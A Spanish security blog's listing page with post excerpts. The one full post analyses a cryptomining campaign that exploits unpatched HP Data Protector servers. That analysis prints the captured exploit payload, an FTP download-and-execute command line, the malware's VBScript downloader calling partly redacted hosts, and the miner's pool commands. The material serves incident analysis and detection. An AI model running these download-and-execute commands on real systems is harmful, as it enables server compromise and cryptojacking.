Confía solo en tus binarios

Uno de los principales problemas que nos encontramos ante un equipo infectado en una live response es la confianza con el mismo, a lo que nos preguntamos ¿Habrán sido modificados los binarios del sistema? ¿Qué binarios han podido ser eliminados?

Esas preguntas implican tener que desconfiar totalmente de los binarios del sistema y utilizar binarios de confianza. ¿Pero cómo obtenemos unos binarios de confianza en un sistema infectado? La mejor forma es llevándolos encima o en un pen drive. Con unos pocos pasos se puede instalar un S.O. en un disco extraíble y montar la unidad como solo lectura en el equipo afectado, de modo que dispondremos de las herramientas necesarias y podremos trabajar con plena confianza con el sistema.

[Read more…]

¿Sueñan los analistas con Exploit Kits?

img0Muchas de las web que se visitan a diario están comprometidas, y el usuario corriente navega por ellas sin tener conocimiento alguno del peligro que supone no tener el navegador o la versión de Adobe Flash  actualizada. A continuación vamos a ver un análisis de este tipo de compromisos que por desgracia, cada día es más habitual.

En el análisis de tráfico HTTP se pueden usar herramientas como Burp o  Fiddler.

En este ejemplo he usado Fiddler y en navegador Iceweasel con un plugin para simular distintos User Agent (Switch  user agent), para en momentos determinados emular Internet Explorer.

Si se quiere instalar Fiddler bajo Linux con mono, se puede seguir este manual:

http://fiddler.wikidot.com/mono

[Read more…]

Bitcoin Miner Attack

¿Qué son los Bitcoins?

Pare que tengamos algunas nociones sobre lo que son los bitcoins, acudimos a bitcoin.org para encontrar una definición. Según aparece en este sitio web Bitcoin es una innovadora red de pagos y un nuevo tipo de dinero”.  Se trata de un sistema que opera sin un organismo como autoridad central sobre tecnología peer-to-peer, la gestión de las transacciones y la emisión de la cryptomoneda se realiza colectivamente por los integrantes de la red.

¿Como consigo bitcoins?

Esto funciona como el dinero ordinario: o bien existe una transferencia por parte de otra persona/empresa/entidad, o (y en esto si difiere en gran medida del dinero corriente) se obtienen como recompensa desde el sistema monetario virtual a cambio de formar parte de dicho sistema procesando “bloques”. Para ello se utiliza un software específico que ejecuta funciones criptográficas.

¿Por qué no somos todos ricos si podemos generar bitcoins?

El esfuerzo computacional que requiere la creación (minado) de bitcoins es tal que no  resulta rentable la inversión en hardware y consumo de energía respecto al beneficio que se obtiene.

¿Dónde almaceno mis bitcoins?

En una cartera virtual.

Proceso de infección

Ahora que sabemos como utilizar los bitcoins, puede surgir la idea de por qué no aprovechar la capacidad de algunos de los millones de servidores conectados a Internet y que no están lo suficientemente protegidos para generar unos cuantos bitcoins para nuestra cartera.

El principal objetivo de un atacante sería comprometer el mayor número posible de servidores para que trabajen minando criptomoneda para él. En el caso que nos ocupa, los objetivos son servidores con el software de backup HP Data Protector instalado y que no cuenten con todos los parches correspondientes aplicados.

Una vez localizado un servidor que cumple esas características, se ejecuta el correspondiente exploit, que continua con la descarga una serie de scripts y binarios (existe versión para Windows y para Linux) en el servidor. Estos consiguen asegurar la persistencia del malware e instalan el software encargado de producir la criptomoneda que se ejecutará como un proceso más en el sistema.

Resumen

En el caso que estamos tratando, observamos el intento de intrusión en una de las alertas recibidas en el IDS:

ETPRO EXPLOIT HP Data Protector Remote command execution
IPv4: XX.XX.XX.XX -> YY.YY.YY.YY
TCP: port=1201 -> dport: 5555
Payload: …
\perl.exe -esystem('cmd.exe /c echo open XX.XX.XX.XX>f&echo AA>>f&echo BB>>f&echo bin>>f&echo get CC.zip>>f&echo bye>>f&ftp -s:f&cscript.exe /b /e:VBScript.Encode zxhp.zip&del /f/q f&exit')

En este caso el atacante intenta explotar una vulnerabilidad de ejecución remota de código en HP Data Protector (HP Data Protector could allow a remote attacker to execute arbitrary commands on the system. By sending a specially-crafted request to TCP port 5555, an attacker could exploit this vulnerability to execute arbitrary commands on the system. References: [XFDB-94504]), para descargar y ejecutar en el servidor comprometido varios scripts.

Lo que hemos capturado aquí es la parte post explotación en la que se ejecuta la rutina de descarga e instalación del payload. Siguiendo la ejecución de la línea de comandos vemos que realiza una conexión autenticada (usuario: AA, contraseña:BB) a un servidor ftp y descarga un fichero CC.zip. Dicho fichero no se encuentra en formato .zip, sino que realmente consiste en un script codificado como VBE (Visual Basic Environment). Finalmente ejecuta este fichero en el servidor para después se eliminarse del disco.

La ejecución del script anterior lanza la descarga de varios ficheros más, entre los que se encuentra el binario que realizará en minado de la criptomoneda. Estos scripts son los encargados de asegurar la persistencia del malware en el servidor y realizar la instalación y configuración del ejecutable.

Detalles

Si entramos a analizar en algo más de detalle el script que inicia las descargas, veremos que realiza diferentes comprobaciones en el sistema usando WMI, en este post nos centraremos en el caso en que se trata de un equipo objetivo “occidental” (versión Windows, no configurado en idioma Chino, ni ubicado en China).

En ese caso el script CC.zip, después de las comprobaciones realizadas sobre el sistema realiza la descarga de tres ficheros más:

On Error Resume Next
Dim OSlag,OSver,numcpus,objOutParams,objWMIREGService
Set objWMIREGService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\DEFAULT:StdRegProv")
objOutParams = objWMIREGService.GetStringValue(&H80000002, "SYSTEM\CurrentControlSet\Control\Nls\Language", "Default",OSlag)
objOutParams = objWMIREGService.GetStringValue(&H80000002, "SOFTWARE\Microsoft\Windows NT\CurrentVersion", "CurrentVersion",OSver)
objOutParams = objWMIREGService.GetStringValue(&H80000002, "SYSTEM\CurrentControlSet\Control\Session Manager\Environment", "NUMBER_OF_PROCESSORS",numcpus)
notincn = outcn()

If WScript.Arguments.Count > 0 Then
    bji=WScript.Arguments(0)
Else
    bji="NOTDEF"
End If

If OSlag = "0804" Or OSlag = "0c04" Then
    If OSver = "5.2" And notincn = 0 Then
        wlog(bji + "-CN-" + OSlag)
        dl "http://AAA.com/cnmofb.zip","C:\Windows\System32\wbem\MOF\15.log"
    ElseIf notincn = 1 Then
        wlog(bji + "-CN-OUT-" + OSlag)
        dl "http://AAA.com/usmofb2.zip","C:\Windows\System32\wbem\MOF\15.log"
        dl "http://AAA.com/usmofb2.zip","c:\windows\temp\iisstt.dat"
        runprg "mofcomp.exe c:\windows\temp\iisstt.dat"
    End If

    If yxsj() < 9 Then
        dl "http://AAA.com/dlve.zip","c:\windows\temp\idt.zip"
        run "cmd.exe /c cscript.exe /b /e:VBScript.Encode c:\windows\temp\idt.zip&%windir%\TEMP\ist.bat"
    Else
        dl "http://AAA.com/dl.zip","c:\windows\temp\isst.zip"
        runprg "cmd.exe /c cscript.exe /b /e:VBScript.Encode %windir%\temp\isst.zip&%windir%\TEMP\sst.bat"
    End If
    WScript.Quit
Else
        wlog(bji + "-USA-" + OSlag)
        dl "http://AAA.com/usmofb2.zip","C:\Windows\System32\wbem\MOF\15.log"
        dl "http://AAA.com/usmofb2.zip","c:\windows\temp\iisstt.dat"
        runprg "mofcomp.exe c:\windows\temp\iisstt.dat"
        dl "http://XX.XX.XX.XX:89/zxdl.zip","c:\windows\temp\isst.zip"
        runprg "cmd.exe /c cscript.exe /b /e:VBScript.Encode c:\windows\temp\isst.zip&%windir%\TEMP\sst.bat"
End If
  • mof.zip: Se trata de un fichero MOF que posteriormente se compila/instala en el servidor objetivo. No está muy clara su función porque en posteriores versiones se elimina.
  • DD.zip: Una copia del fichero anterior que se guarda en otro directorio.
  • EE.zip: Fichero en formato VBE que realiza la descarga de un fichero .bat y un fichero .exe en formato 32 o 64 bits dependiendo de la arquitectura del sistema, que posteriormente se renombra una vez copiado en el sistema.bt0

El ejecutable descargado que se encargará de generar los bitcoins se renombra del original (32.exe o 64.exe) a “mstdc.exe”. Este nombre no ha sido elegido al azar; existe un ejecutable legítimo en sistemas Windows, concretamente Microsoft Distributed Transaction Coordinator requerido por HP Data Protector y otras aplicaciones como Microsoft Exchange o SQL Server instalados en clusters, y el fichero ejecutable se llama “msdtc.exe”.

Otro de los ficheros descargados por EE.zip es un .bat que se encarga de realizar las conexiones con el pool de criptomoneda (XCN o Sharkcoin) y crear una tarea programada que cada hora reinicia dichas conexiones.

La operación de instalación del malware es a su vez registrada en un fichero de log en la carpeta de Windows.

Durante el análisis se encontraron varias versiones del fichero con contenidos ligeramente diferentes, lo que parece indicar una evolución en el procedimiento de instalación.

Conexión a bitcoin pool

El malware realiza tres conexiones al pool de criptomoneda:

mstdc.exe -a m7 -o stratum+tcp://POOL:7333 -u  -p x --retries 5 --retry-pause=20
mstdc.exe -a m7 -o stratum+tcp://POOL:7333 -u  -p x --retries 2 --retry-pause=20
mstdc.exe -a m7 -o stratum+tcp://POOL:7333 -u  -p x --retries 2 --retry-pause=20

Los beneficios obtenidos se almacenan en una cartera (WALLET), donde se recoge la recaudación de todos los equipos comprometidos. Después de realizar el seguimiento del saldo de la cartera durante unas semanas, podemos ver la evolución y vemos que se forma una gráfica con dientes de sierra, que probablemente indica movimientos periódicos de fondos siendo transferidos a otra cartera diferente para hacer más difícil su seguimiento.

En un mes podemos constatar que se movieron un total de 2.751.113 XCN que en el mercado podemos cambiar a 8,33587 BTC y que a su vez equivalen a unos 3066 EUR, una cantidad nada despreciable.bt1

 Técnicas utilizadas

  • Selección de los servidores objetivo:
    • Vulnerabilidad detectada en software de backup.
    • Distinción por ubicación geográfica, idioma y tiempo en funcionamiento.
    • Versiones según sistema operativo (Windows o Linux) y arquitectura 32/64 bits.
  • Técnicas de ofuscación:
    • Falsas extensiones para archivos descargados.
    • Codificación no ASCII para evitar fácil detección.
    • Uso de nombres de ejecutable engañosos para intentar ocultar el proceso malicioso.
    • Descarga usando User-Agents que puedan pasar “desapercibidos” en un log.
    • Uso de criptomoneda para monetizar la intrusión seguramente en varios niveles para evitar trazabilidad.

Conclusión

Aún no tratándose de una amenaza nueva ni avanzada, los primeros casos se remontan a 2011, este tipo de acciones pueden pasar inicialmente desapercibidas para la víctima. La baja inversión en recursos a la hora de mantener y desplegar el malware, puede convertir este tipo de acciones en una buena fuente de financiación para actividades ilegales.

Nota: se han modificado algunas URL así como nombres de fichero del ejemplo.

MD5

32.exe: abe32f01ecd149e0b0820651a4845eb6

64.exe: bff31a498733f3a3e35acf82941d24a7

Referencias

Human Firewall

De sobra es conocido que la mejora de la seguridad de las organizaciones, tanto cuando hablamos de la información como de los propios medios físicos, no depende “solo” de la implantación de medidas técnicas de seguridad o la definición de procedimientos; es fundamental la implicación de las personas. No se repite suficiente que el factor humano en un pilar fundamental en la seguridad.

Este hecho no pasa desapercibido para los ciberdelincuentes que aprovechan descuidos, prácticas inseguras de comportamiento y en general falta de formación en materia de seguridad por parte de los empleados para poner en riesgo la seguridad de la organización. Muy bien, pero, ¿se puede culpar al empleado, el usuario final, de esta situación?

[Read more…]

Presentando Suricata (y IV)

Hoy vamos a continuar con la presentación de Suricata, aplicación de detección de intrusos de la que ya hemos contado entre otros sus características principales y las mejoras en detección y recolección de registros que proporciona respecto a Snort.

En el anterior artículo de la serie hablamos de la utilización de dichos registros para generar paneles de visualización personalizados, y hoy vamos a cerrarla viendo una forma de integrar todos los componentes de los que hemos hablado y facilitar todavía más la puesta en marcha de sondas IDS en cualquier lugar.

Esta integración nos la proporciona Stamus Networks, que ha creado una distribución de Linux llamada SELKS que integra tanto Suricata como la pila ELK, por lo que puesta en marcha de todo el sistema se reduce a instalar el sistema operativo, que ya viene preconfigurado para empezar a capturar tráfico en modo promiscuo en la interfaz de red de la máquina.

[Read more…]

TimThumb

En pleno auge de los blogs y el mundo blogger, WordPress se posicionaba como una buena alternativa para el desarrollo rápido y con un diseño atrayente, de sitios web dedicados a este fin.

Timthumb se creó en 2009 como un complemento de visualización de imágenes para sitios web desarrollados en WordPress. Consistía en un plugin que permitía redimensionar una imagen a partir de un original en formato gif,jpg o png, de forma dinámica, facilitando la posibilidad de mostrar miniaturas en el tamaño elegido y que se adaptara a nuestra página, partiendo de una imagen de un tamaño mayor.

tt0
[Read more…]

Acecard, el troyano bancario que pasó desapercibido

¿Qué es Acecard?

Acecard es un troyano desarrollado para funcionar en dispositivos Android, capaz de imitar las plataformas de pago online (Paypal, ebay…), bancos e incluso suplantar la identidad de los usuarios en las redes sociales. Además de robar los datos bancarios de las víctimas también puede hacer pagos por ellos.

La principal fuente de infección es mediante la instalación de aplicaciones falsas (fuera de la PlayStore), por spam electrónico e incluso por anuncios Flash. Cuesta creer que un virus tan poderoso haya pasado tanto tiempo desapercibido. La primera vez que se detectó fue en 2014 por la empresa Kaspersky, pero como vieron que apenas tenía actividad cometieron el error de registrar el código y pasarlo por alto.

Es verdad que tenía poca actividad, pero esto era debido a que en su fase inicial funcionaba como un simple sniffer. Solo enviaba información a servidores, con lo que evitaba su detección (en la medida de lo posible). Cuando los creadores de Acecard tuvieron suficientes datos, pasaron a la siguiente fase: el robo de información bancaria y suplantación de identidad.

El troyano se propaga bajo la apariencia de un juego, pero en realidad no tiene ninguna funcionalidad. La funcionalidad de esta aplicación consiste en descargar e instalar una modificación totalmente funcional del troyano bancario.

acecard

El principio de Acecard

Según explica Roman Unuchek, el troyano Acecard fue creado por los mismos cibercriminales autores del primer troyano Tor para android y el primer cifrador de smartphones. Analizando el código de estos malwares se puede observar que tienen muchos fragmentos en común.

En octubre de 2014 Acecard ya no utilizaba la red TOR y empezó a cambiar la localización de sus ataques (Australia,Alemania…). En Noviembre de 2015 evolucionó, empezó a robar las contraseñas de las redes sociales más populares. Comenzaron entonces las aplicaciones phishing a unos cuantos bancos australianos. En los siguientes 9 meses no hubo apenas cambios en Acecard hasta que en Agosto de 2015 se detectó una funcionalidad que consistía en reemplazar la aplicación de Paypal. También incluyó la funcionalidad #Wipe que devuelve el móvil a estado de fábrica.

Los ataques a gran escala de Acecard empezaron a mediados de mayo de 2015 y su objetivo eran los bancos australianos. En tan solo 4 meses después de los primeros ataques se realizaron otros tantos más (unos 6000) en objetivos de diversas partes del mundo (Rusia,Alemania,España…) y aquí fue cuando ya saltaron todas las alarmas. Por desgracia los antivirus en sistemas Android son inútiles y la única forma de prevenir la infección es descargando aplicaciones de sitios de confianza, aunque la PlayStore también se vio afectada al aparecer en ella aplicaciones infectadas.

Similitud con otros troyanos

Como apunta Roman Unuchek y muestra en la web de Kaspersky, podemos observar muchas similitudes entre los troyanos:

Pletor

Es un troyano cifrador para android que realizó más de 2000 infecciones en 13 países distintos. Una vez infectado el smartphone el contenido de la memoria se cifra utilizando cifrado AES, atacando a las siguientes extensiones: .jpeg, .jpg, .png, .bmp, .gif, .pdf, .doc, .docx, .txt, .avi, .mkv, .3gp, .mp4.

Ejemplo de código:

cod2

Torec

Fue el primer troyano que utiliza la red TOR para Android. Al utilizar este tipo de red es imposible tumbar los servidores C&C pero por contra se necesita mucho más código.

Ejemplo de código:

cod0

Acecard

Ejemplo de código:

cod1

Referencias

Fuzzing (I)

En esta primera parte de esta pequeña saga que voy a realizar paralelamente a mi proyecto final de carrera, voy a realizar una breve introducción de la técnica del fuzzing.

Ésta técnica fue desarrollada en 1989 por el catedrático Barton Miller de la Universidad de Wisconsin Madison y sus estudiantes, que desarrollaron el primer fuzzer. En la actualidad podemos encontrar gran cantidad de este tipo de herramientas enfocadas a este tipo de testeo: Cfuzzer, fuzzled, fuzzer.pl, JBroFuzz, WebScarab, wapiti , Socket Fuzzer….

Una gran parte de las empresas dedicadas a desarrollar software lanzan sus productos con bugs de seguridad. Esto no es ningún secreto. Estas empresas son conscientes del gasto que implica, ya que posteriormente deben proporcionar parches para solucionar estas vulnerabilidades de seguridad, que se podrían mitigar haciendo una mayor inversión de presupuesto en sus primeras etapas de desarrollo (aunque nunca, como sabemos, se podrían eliminar del todo).

[Read more…]

Medidas contra el ransomware

El ransomware ha venido para quedarse. Eso es algo que está quedando claro. Se trata de un negocio muy lucrativo a tenor del éxito en la tasa de efectividad en la infección, y aunque menor, en la tasa de pagos del rescate por parte de los afectados.

A los ya infames Cryptolocker, CryptoWall, TorrentLocker, TeslaCrypt y demás, se han sumado recientemente HydraCrypt y UmbreCrypt, todos con ligeras variaciones sobre el anterior en un intento de evitar las escasas barreras que están introduciendo las casas de antivirus, junto con alguna iniciativa más o menos ocurrente, y más o menos efectiva, para identificar la actividad de este tipo de amenaza.

Recientemente, el CNI, a través del CCN-CERT, publicó una guía sobre el ransomware en el que se recogían algunas de las variantes junto con herramientas de descifrado de los archivos que han ido proporcionando las diferentes casas de antivirus tras la desarticulación de alguna red de criminales o tras un análisis profundo de las muestras.

[Read more…]

La historia del ermitaño

Fulgencio estaba muy preocupado por su privacidad. Pero mucho mucho. Para él, mantenerse al margen de las grandes corporaciones y de los gobiernos que espían los movimientos de los ciudadanos en la red era vital.

Era feliz con su Nokia-ladrillo sin internet. No estaba registrado en ninguna red social. Navegaba siempre en modo incógnito. Nunca comentaba en foros y webs con su nombre real, ni manejaba ningún tipo de información personal en la red. No le importaba hacer todos los trámites con su banco en persona aunque tuviera que ceñirse a los horarios estrictos y aguantar media hora de cola. Por supuesto, jamás hacía compras online.

Hacía todo lo que estaba en su mano para mantener su privacidad a salvo. Y estaba contento con ello.

[Read more…]